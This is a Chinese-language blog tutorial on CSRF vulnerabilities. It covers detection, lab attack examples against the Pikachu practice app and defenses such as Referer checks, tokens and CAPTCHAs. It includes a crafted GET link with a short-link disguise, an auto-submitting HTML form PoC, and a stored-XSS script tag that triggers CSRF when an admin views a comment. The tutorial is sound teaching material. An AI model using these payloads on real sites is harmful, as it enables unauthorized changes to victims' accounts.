CSRF漏洞详解

目录

CSRF原理

CSRF、SSRF与XSS的区别

判断是否存在CSRF

CSRF攻击示例

GET型的CSRF

POST型的CSRF

CSRF+XSS的组合利用

CSRF如何防御

验证HTTP Referer字段

添加token,并验证

关键请求添加验证码


CSRF原理

CSRF(跨站请求攻击)的形成原因,简单来说,就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造的csrf脚本或链接,可以执行一些非用户本意的操作(比如更改密码,甚至转账等)。

攻击流程图

这里的恶意网站B更改为csrf脚本或链接(懒得再画图)

CSRF、SSRF与XSS的区别

XSS可以理解为攻击者窃取用户的身份信息进行操作

CSRF可以理解为攻击者没有窃取用户身份信息但是它通过其他手段获取了你的一次性身份信息的利用进行操作

SSRF可以理解为攻击者利用服务器的不严谨的过滤限制,将服务器当作跳板利用进行操作

判断是否存在CSRF

对一些增删改查,购买之类的操作,可以抓包看看逻辑,是否不需要或者可以绕过验证用户身份

比如:

  • 修改密码,不需要验证旧密码
  • 增删改查不需要验证Cookie
  • 虽然退出或关闭了浏览器,但Cookie仍然有效,或者Session没有及时过期
  • 去掉Referer字段看是否有变化,没有变化意味着Referer服务器端并未验证;以及查看一下是否有CSRF token

CSRF攻击示例

GET型的CSRF

有一个网站A,修改个人信息,抓包,发现数据包信息

GET /pikachu/vul/csrfget/csrf_get_edit.php?sex=boy&phonenum=11111&add=nba+76&email=123@qq.com&sumbit=submit HTTP/1.1

发现要修改的信息都在URL的参数里面,并不需要进行身份验证

那可以构造一个恶意的URL链接:

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456789&add=666&email=hacker@qq.com&submit=submit

当然这太明显,可以把它写成一个短链接(短链接生成平台)

http://g0p.cc/6n6jtL

只要受害者点击,就会触发。

POST型的CSRF

网站B修改信息的数据包

GET /pikachu/vul/csrfget/csrf_get_edit.php HTTP/1.1
......

sex=boy&phonenum=11111&add=nba+76&email=123@qq.com&sumbit=submit

参数的提交采用POST类型,可以利用BurpSuite的自带插件(Generate CSRF PoC)来实现制作一个站点,诱惑目标用户点击,进而发送数据包。

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678911" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="abc@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

然后把链接发给用户,用户只要点击进入这个页面就会触发提交数据包发送请求,直接修改用户的信息。如果攻击者利用JS让用户进行直接的触发,只要打开了响应的页面就会执行这一行为。

CSRF+XSS的组合利用

利用html很不容易让人利用,漏洞触发条件复杂。

利用XSS漏洞来触发CSRF漏洞,可以让这个触发方式变的简单起来。

比如有一个具有存储型XSS漏洞的留言板,创建一个CSRF项目http://localhost/csrf,然后发表评论

</textarea>'''><script src=http://localhost/csrf></script>

当管理员查看留言时就执行了危险代码,执行了请求。

CSRF如何防御

验证HTTP Referer字段

Referer字段是HTTP请求头一部分,记录了HTTP请求的来源地址。当检测到Referer是其他网站的话,则判断有可能是CSRF攻击,拒绝该请求。这是一种同源策略。

添加token,并验证

token是服务器生成的一串随机数,作为客户端进行请求的一个令牌。

在HTTP请求中,会以参数的形式添加一个随机产生的token,并在服务器端建立一个拦截器来验证这个token,假设请求中没有token或者token内容不正确,则判断可能是CSRF攻击,拒绝该请求。

关键请求添加验证码

当进行一些敏感操作,如修改密码、转账等操作,可以通过增加验证手段,比如图形验证码或短信验证码等,来增强安全性。

  • 14
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值